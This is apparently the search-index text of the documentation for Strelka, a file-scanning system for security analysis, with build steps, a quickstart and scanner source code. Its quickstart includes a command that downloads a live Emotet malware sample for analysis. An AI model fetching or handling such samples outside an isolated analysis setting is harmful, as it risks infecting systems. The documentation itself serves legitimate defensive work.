Strelka differs from its sibling projects in a few significant ways:
Strelka can be installed on any system that can run containers. For convenience, the project ships with docker-compse configuration files for standing up a \"quickstart\" cluster (found under the build/ directory). We do not recommend using and do not plan to support OS-native installations.
Strelka's core client apps are written in Go and can be run natively on a host or inside of a container. The following are multiple ways to install each of the apps.
"},{"location":"GettingStarted/GettingStartedInstallation.html#strelka-fileshot-build","title":"strelka-fileshot (build)","text":"go build github.com/target/strelka/src/go/cmd/strelka-fileshot\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the application
cd /opt/strelka/src/go/cmd/strelka-fileshot/\ngo build -o strelka-fileshot .\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the container
cd /opt/strelka/\ndocker build -f build/go/fileshot/Dockerfile -t strelka-fileshot .\ngo build github.com/target/strelka/src/go/cmd/strelka-oneshot\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the application
cd /opt/strelka/src/go/cmd/strelka-oneshot/\ngo build -o strelka-oneshot .\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the container
cd /opt/strelka/\ndocker build -f build/go/oneshot/Dockerfile -t strelka-oneshot .\ngo build github.com/target/strelka/src/go/cmd/strelka-filestream\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the application
cd /opt/strelka/src/go/cmd/strelka-filestream/\ngo build -o strelka-filestream .\nClone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the container
cd /opt/strelka/\ndocker build -f build/go/filestream/Dockerfile -t strelka-filestream .\nStrelka's core server components are written in Go and Python 3.9+ and are run from containers. The simplest way to run them is to use docker-compose -- see build/docker-compose.yaml for a sample configuration.
Clone this repository
git clone https://github.com/target/strelka.git /opt/strelka/\nBuild the cluster ```sh cd /opt/strelka/ docker-compose -f build/docker-compose.yaml up -d
By default, Strelka is configured to use a minimal \"quickstart\" deployment that allows users to test the system. This configuration is not recommended for production deployments, but may suffice for environments with very low file volume (<50k files per day).
Using two Terminal windows, do the following:
"},{"location":"GettingStarted/GettingStartedQuickstart.html#quickstart-steps","title":"Quickstart Steps","text":""},{"location":"GettingStarted/GettingStartedQuickstart.html#step-1-install-prerequisites","title":"Step 1: Install Prerequisites","text":"# Ubuntu 23.04\nsudo apt install -y wget git docker docker-compose golang jq && \\\nsudo usermod -aG docker $USER && \\\nnewgrp docker\ngit clone https://github.com/target/strelka.git && \\\ncd strelka\nrm configs/python/backend/yara/rules.yara && \\\ngit clone https://github.com/Yara-Rules/rules.git configs/python/backend/yara/rules/ && \\\necho 'include \"./rules/index.yar\"' > configs/python/backend/yara/rules.yara\nStrelka UI: Skip Go Build
You can skip the go build process and use the Strelka UI at http://0.0.0.0:9980 to analyze files.
docker-compose -f build/docker-compose-no-build.yaml up -d && \\\ngo build github.com/target/strelka/src/go/cmd/strelka-oneshot\nStrelka UI: Skip Go Build
You can skip the go build process and use the Strelka UI at http://0.0.0.0:9980 to analyze files.
docker-compose -f build/docker-compose.yaml build && \\\ndocker-compose -f build/docker-compose.yaml up -d && \\\ngo build github.com/target/strelka/src/go/cmd/strelka-oneshot\nUse any malware sample, or other file you'd like Strelka to analyze.
wget https://github.com/ytisf/theZoo/raw/master/malware/Binaries/Win32.Emotet/Win32.Emotet.zip -P samples/\n./strelka-oneshot -f samples/Win32.Emotet.zip -l - | jq\nScanEncryptedZip used a dictionary to crack the ZIP file password, and extract the compressed fileScanPe dissected the EXE file and added useful metadata to the outputScanYara analyzed the EXE file, using the provided rules, and added numerous matches to the output, some indicating the file might be maliciousThe following output has been edited for brevity.
{\n \"file\": {\n \"depth\": 0,\n \"flavors\": {\n \"mime\": [\"application/zip\"],\n \"yara\": [\"encrypted_zip\", \"zip_file\"]\n },\n \"scanners\": [\n \"ScanEncryptedZip\",\n \"ScanEntropy\",\n \"ScanFooter\",\n \"ScanHash\",\n \"ScanHeader\",\n \"ScanYara\",\n \"ScanZip\"\n ]\n },\n \"scan\": {\n \"encrypted_zip\": {\n \"cracked_password\": \"infected\",\n \"elapsed\": 0.114269,\n \"total\": {\"extracted\": 1, \"files\": 1}\n }\n }\n}\n{\n \"file\": {\n \"depth\": 1,\n \"flavors\": {\n \"mime\": [\"application/x-dosexec\"],\n \"yara\": [\"mz_file\"]\n },\n \"name\": \"29D6161522C7F7F21B35401907C702BDDB05ED47.bin\",\n \"scanners\": [\n \"ScanEntropy\",\n \"ScanFooter\",\n \"ScanHash\",\n \"ScanHeader\",\n \"ScanPe\",\n \"ScanYara\"\n ]\n },\n \"scan\": {\n \"pe\": {\n \"address_of_entry_point\": 5168,\n \"base_of_code\": 4096,\n \"base_of_data\": 32768,\n \"checksum\": 47465,\n \"compile_time\": \"2015-03-31T08:53:51\",\n \"elapsed\": 0.013076,\n \"file_alignment\": 4096,\n \"file_info\": {\n \"company_name\": \"In CSS3\",\n \"file_description\": \"Note: In CSS3, the text-decoration property is a shorthand property for text-decoration-line, text-decoration-color, and text-decoration-style, but this is currently.\",\n \"file_version\": \"1.00.0065\",\n \"fixed\": {\"operating_systems\": [\"WINDOWS32\"]},\n \"internal_name\": \"Callstb\",\n \"original_filename\": \"NOFAstb.exe\",\n \"product_name\": \"Goodreads\",\n \"product_version\": \"1.00.0065\",\n \"var\": {\"character_set\": \"Unicode\", \"language\": \"U.S. English\"}\n }\n },\n \"yara\": {\n \"elapsed\": 0.068918,\n \"matches\": [\n \"SEH__vba\",\n \"SEH_Init\",\n \"Big_Numbers1\",\n \"IsPE32\",\n \"IsWindowsGUI\",\n \"HasOverlay\",\n \"HasRichSignature\",\n \"Microsoft_Visual_Basic_v50v60\",\n \"Microsoft_Visual_Basic_v50\",\n \"Microsoft_Visual_Basic_v50_v60\",\n \"Microsoft_Visual_Basic_v50_additional\",\n \"Microsoft_Visual_Basic_v50v60_additional\"\n ],\n \"tags\": [\n \"AntiDebug\",\n \"SEH\",\n \"Tactic_DefensiveEvasion\",\n \"Technique_AntiDebugging\",\n \"SubTechnique_SEH\",\n \"PECheck\",\n \"PEiD\"\n ]\n }\n }\n}\nStrelka's UI is available when you build the provided containers. This web interface allows you to upload files to Strelka and capture the events, which are stored locally.
Navigate to http://localhost:9980/ and use the login strelka/strelka.
"},{"location":"Scanners/ScanAntiword.html","title":"ScanAntiword","text":"Extracts text from MS Word document files.
Optionstmp_directory: Location where tempfile writes temporary files. Defaults to '/tmp/'.
Source code instrelka/src/python/strelka/scanners/scan_antiword.py class ScanAntiword(strelka.Scanner):\n \"\"\"Extracts text from MS Word document files.\n\n Options:\n tmp_directory: Location where tempfile writes temporary files.\n Defaults to '/tmp/'.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n\n (stdout, stderr) = subprocess.Popen(\n [\"antiword\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate()\n\n if stdout:\n # Send extracted file back to Strelka\n self.emit_file(stdout, name=\"text\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanAntiword.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanAntiword.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanAntiword.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner antiword
"},{"location":"Scanners/ScanBase64.html","title":"ScanBase64","text":"Decodes base64-encoded file.
Source code instrelka/src/python/strelka/scanners/scan_base64.py class ScanBase64(strelka.Scanner):\n \"\"\"Decodes base64-encoded file.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n decoded = base64.b64decode(data)\n\n self.event[\"size\"] = len(decoded)\n\n # Send extracted file back to Strelka\n self.emit_file(decoded)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanBase64.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanBase64.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list size int"},{"location":"Scanners/ScanBase64.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [], \"size\": 4007}\nDecodes base64-encoded file.
Source code instrelka/src/python/strelka/scanners/scan_base64_pe.py class ScanBase64Pe(strelka.Scanner):\n \"\"\"Decodes base64-encoded file.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n with io.BytesIO(data) as encoded_file:\n extract_data = b\"\"\n\n try:\n extract_data = base64.b64decode(encoded_file.read())\n self.event[\"decoded_header\"] = extract_data[:50]\n except binascii.Error:\n self.flags.append(\"not_decodable_from_base64\")\n\n if extract_data:\n # Send extracted file back to Strelka\n self.emit_file(extract_data)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanBase64Pe.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanBase64Pe.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typedecoded_header bytes elapsed str flags list"},{"location":"Scanners/ScanBase64Pe.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"decoded_header\": b\"MZ\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\",\n }\nCollects metadata from batch script files.
Pygments is used as a lexer and the tokenized data is appended as metadata.
Attributes:
Name Type Descriptionlexer Pygments lexer ('batch') used to parse the file.
Source code instrelka/src/python/strelka/scanners/scan_batch.py class ScanBatch(strelka.Scanner):\n \"\"\"Collects metadata from batch script files.\n\n Pygments is used as a lexer and the tokenized data is appended as metadata.\n\n Attributes:\n lexer: Pygments lexer ('batch') used to parse the file.\n \"\"\"\n\n def init(self):\n self.lexer = lexers.get_lexer_by_name(\"batch\")\n\n def scan(self, data, file, options, expire_at):\n highlight = pygments.highlight(\n data,\n self.lexer,\n formatters.RawTokenFormatter(),\n )\n highlight_list = highlight.split(b\"\\n\")\n\n ordered_highlights = []\n for hl in highlight_list:\n split_highlight = hl.split(b\"\\t\")\n if len(split_highlight) == 2:\n token = split_highlight[0].decode()\n value = split_highlight[1].decode().strip(\"'\\\"\").strip()\n highlight_entry = {\"token\": token, \"value\": value}\n if highlight_entry[\"value\"]:\n ordered_highlights.append(highlight_entry)\n\n self.event.setdefault(\"tokens\", [])\n self.event.setdefault(\"comments\", [])\n self.event.setdefault(\"keywords\", [])\n self.event.setdefault(\"labels\", [])\n self.event.setdefault(\"strings\", [])\n self.event.setdefault(\"text\", [])\n self.event.setdefault(\"variables\", [])\n\n position = 0\n while position < len(ordered_highlights):\n ohlp = ordered_highlights[position]\n if ohlp[\"token\"] not in self.event[\"tokens\"]:\n self.event[\"tokens\"].append(ohlp[\"token\"])\n if ohlp[\"token\"] == \"Token.Comment.Single\":\n if ohlp[\"value\"] not in self.event[\"comments\"]:\n self.event[\"comments\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Keyword\":\n if ohlp[\"value\"] not in self.event[\"keywords\"]:\n self.event[\"keywords\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Name.Label\":\n if ohlp[\"value\"] not in self.event[\"labels\"]:\n self.event[\"labels\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Literal.String.Double\":\n if ohlp[\"value\"] not in self.event[\"strings\"]:\n self.event[\"strings\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Literal.String.Single\":\n if ohlp[\"value\"] not in self.event[\"strings\"]:\n self.event[\"strings\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Text\":\n if ohlp[\"value\"] not in self.event[\"text\"]:\n self.event[\"text\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Name.Variable\":\n if ohlp[\"value\"] not in self.event[\"variables\"]:\n self.event[\"variables\"].append(ohlp[\"value\"])\n position += 1\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanBatch.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludebatch_file text/x-msdos-batch"},{"location":"Scanners/ScanBatch.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecomments list elapsed str flags list keywords list labels list strings list text list tokens list variables list"},{"location":"Scanners/ScanBatch.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"tokens\": [\n \"Token.Punctuation\",\n \"Token.Keyword\",\n \"Token.Text\",\n \"Token.Name.Variable\",\n \"Token.Literal.String.Double\",\n \"Token.Operator\",\n \"Token.Comment.Single\",\n \"Token.Name.Label\",\n ],\n \"comments\": [\n \"REM Simple batch script for calling avrdude with options for USBtinyISP\",\n \"REM (C) 2012, 2013 Michael Bemmerl\",\n \"REM License: WTFPL-2.0\",\n ],\n \"keywords\": [\"echo\", \"SETLOCAL\", \"SET\", \"IF\", \"NOT\", \"GOTO\"],\n \"labels\": [\"help\", \"exit\"],\n \"strings\": [\"avrdude\", \"\\\\\\\\bin\\\\\\\\avrdude.exe\"],\n \"text\": [\n \"off\",\n \"\\\\n\",\n \"\\\\n\\\\n\",\n \"-c\",\n \"usbtiny\",\n \"-P\",\n \"usb\",\n \"You\",\n \"probably\",\n \"want\",\n \"to\",\n \"add\",\n \"at\",\n \"least\",\n \"the\",\n \"part\",\n \"option\",\n \"-p\",\n \"[partno]\",\n \".\",\n \"and\",\n \"some\",\n \"other\",\n \"AVRDUDE\",\n \"command\",\n \"line\",\n \"like\",\n \"-U\",\n \"flash:w:[file]\",\n ],\n \"variables\": [\"AVRDUDE\", \"%AVR32_HOME%\", \"%1\", \"%AVRDUDE%\", \"%*\"],\n }\nTake the data of the BMP image, parse it, and determine if data is stored beyond the expected marker.
Source code instrelka/src/python/strelka/scanners/scan_bmp_eof.py class ScanBmpEof(strelka.Scanner):\n \"\"\"\n Take the data of the BMP image, parse it, and determine if data is stored beyond\n the expected marker.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n expectedSize = int.from_bytes(data[2:6], \"little\")\n actualSize = len(data)\n if expectedSize != actualSize:\n self.event[\"trailer_index\"] = expectedSize\n trailer_bytes_data = data[expectedSize:]\n self.event[\"BMP_EOF\"] = data[expectedSize:]\n\n # Send extracted file back to Strelka\n self.emit_file(trailer_bytes_data)\n else:\n self.flags.append(\"no_trailer\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanBmpEof.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / ExcludeScanTranscode bmp_file image/x-ms-bmp"},{"location":"Scanners/ScanBmpEof.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field TypeBMP_EOF bytes elapsed str flags list trailer_index int"},{"location":"Scanners/ScanBmpEof.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"trailer_index\": 249954,\n \"BMP_EOF\": b'MZ\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x0e\\x1f\\xba\\x0e\\x00\\xb4\\t\\xcd!\\xb8\\x01L\\xcd!This program cannot be run in DOS mode.\\r\\r\\n$\\x00\\x00\\x00\\x00\\x00\\x00\\x00PE\\x00\\x00d\\x86\\x02\\x00\\xbcs\\x12\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x00\"\\x00\\x0b\\x020\\x00\\x00\\x08\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00@\\x01\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00@\\x85\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\xc0\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00,&\\x00\\x008\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.text\\x00\\x00\\x00\\xcf\\x06\\x00\\x00\\x00 \\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00`.rsrc\\x00\\x00\\x00\\xc0\\x05\\x00\\x00\\x00@\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00H\\x00\\x00\\x00\\x02\\x00\\x05\\x00\\\\ \\x00\\x00\\xd0\\x05\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.r\\x01\\x00\\x00p(\\x0f\\x00\\x00\\n*\\x1e\\x02(\\x10\\x00\\x00\\n*BSJB\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00v4.0.30319\\x00\\x00\\x00\\x00\\x05\\x00l\\x00\\x00\\x00\\xcc\\x01\\x00\\x00#~\\x00\\x008\\x02\\x00\\x00X\\x02\\x00\\x00#Strings\\x00\\x00\\x00\\x00\\x90\\x04\\x00\\x00\\x1c\\x00\\x00\\x00#US\\x00\\xac\\x04\\x00\\x00\\x10\\x00\\x00\\x00#GUID\\x00\\x00\\x00\\xbc\\x04\\x00\\x00\\x14\\x01\\x00\\x00#Blob\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x01G\\x15\\x00\\x00\\t\\x00\\x00\\x00\\x00\\xfa\\x013\\x00\\x16\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x95\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\n\\x01\\x1c\\x02\\x06\\x00w\\x01\\x1c\\x02\\x06\\x00>\\x00\\xea\\x01\\x0f\\x00<\\x02\\x00\\x00\\x06\\x00f\\x00\\xd2\\x01\\x06\\x00\\xed\\x00\\xd2\\x01\\x06\\x00\\xce\\x00\\xd2\\x01\\x06\\x00^\\x01\\xd2\\x01\\x06\\x00*\\x01\\xd2\\x01\\x06\\x00C\\x01\\xd2\\x01\\x06\\x00}\\x00\\xd2\\x01\\x06\\x00R\\x00\\xfd\\x01\\x06\\x000\\x00\\xfd\\x01\\x06\\x00\\xb1\\x00\\xd2\\x01\\x06\\x00\\x98\\x00\\xa4\\x01\\x06\\x00P\\x02\\xc6\\x01\\x06\\x00\\x1e\\x00\\xc6\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\xbe\\x01\\x13\\x00A\\x00\\x01\\x00\\x01\\x00H \\x00\\x00\\x00\\x00\\x91\\x00\\xcd\\x01(\\x00\\x01\\x00T \\x00\\x00\\x00\\x00\\x86\\x18\\xe4\\x01\\x06\\x00\\x02\\x00\\x00\\x00\\x01\\x00K\\x02\\t\\x00\\xe4\\x01\\x01\\x00\\x11\\x00\\xe4\\x01\\x06\\x00\\x19\\x00\\xe4\\x01\\n\\x00)\\x00\\xe4\\x01\\x10\\x001\\x00\\xe4\\x01\\x10\\x009\\x00\\xe4\\x01\\x10\\x00A\\x00\\xe4\\x01\\x10\\x00I\\x00\\xe4\\x01\\x10\\x00Q\\x00\\xe4\\x01\\x10\\x00Y\\x00\\xe4\\x01\\x10\\x00a\\x00\\xe4\\x01\\x15\\x00i\\x00\\xe4\\x01\\x10\\x00q\\x00\\xe4\\x01\\x10\\x00y\\x00\\xe4\\x01\\x10\\x00\\x89\\x00&\\x00\\x1a\\x00\\x81\\x00\\xe4\\x01\\x06\\x00.\\x00\\x0b\\x00.\\x00.\\x00\\x13\\x007\\x00.\\x00\\x1b\\x00V\\x00.\\x00#\\x00_\\x00.\\x00+\\x00o\\x00.\\x003\\x00o\\x00.\\x00;\\x00u\\x00.\\x00C\\x00_\\x00.\\x00K\\x00|\\x00.\\x00S\\x00o\\x00.\\x00[\\x00o\\x00.\\x00c\\x00\\x95\\x00.\\x00k\\x00\\xbf\\x00.\\x00s\\x00\\xcc\\x00\\x04\\x80\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1f\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<Module>\\x00mscorlib\\x00HelloWorld\\x00Console\\x00WriteLine\\x00GuidAttribute\\x00DebuggableAttribute\\x00ComVisibleAttribute\\x00AssemblyTitleAttribute\\x00AssemblyTrademarkAttribute\\x00TargetFrameworkAttribute\\x00AssemblyFileVersionAttribute\\x00AssemblyConfigurationAttribute\\x00AssemblyDescriptionAttribute\\x00CompilationRelaxationsAttribute\\x00AssemblyProductAttribute\\x00AssemblyCopyrightAttribute\\x00AssemblyCompanyAttribute\\x00RuntimeCompatibilityAttribute\\x00HelloWorld.exe\\x00System.Runtime.Versioning\\x00Program\\x00System\\x00Main\\x00System.Reflection\\x00.ctor\\x00System.Diagnostics\\x00System.Runtime.InteropServices\\x00System.Runtime.CompilerServices\\x00DebuggingModes\\x00args\\x00Object\\x00\\x00\\x00\\x17H\\x00e\\x00l\\x00l\\x00o\\x00 \\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x00v\\x0e\\xa4Et\\\\\\xa8L\\x98\\xd0lw\\xcc\\x08\\xd7O\\x00\\x04 \\x01\\x01\\x08\\x03 \\x00\\x01\\x05 \\x01\\x01\\x11\\x11\\x04 \\x01\\x01\\x0e\\x04 \\x01\\x01\\x02\\x04\\x00\\x01\\x01\\x0e\\x08\\xb7z\\\\V\\x194\\xe0\\x89\\x05\\x00\\x01\\x01\\x1d\\x0e\\x08\\x01\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x1e\\x01\\x00\\x01\\x00T\\x02\\x16WrapNonExceptionThrows\\x01\\x08\\x01\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x0f\\x01\\x00\\nHelloWorld\\x00\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x06\\x01\\x00\\x01.\\x00\\x00\\x18\\x01\\x00\\x13Copyright \\xc2\\xa9 . 2020\\x00\\x00)\\x01\\x00$c66634a4-f119-4236-b8d2-a085d40e57c7\\x00\\x00\\x0c\\x01\\x00\\x071.0.0.0\\x00\\x00G\\x01\\x00\\x1a.NETFramework,Version=v4.0\\x01\\x00T\\x0e\\x14FrameworkDisplayName\\x10.NET Framework 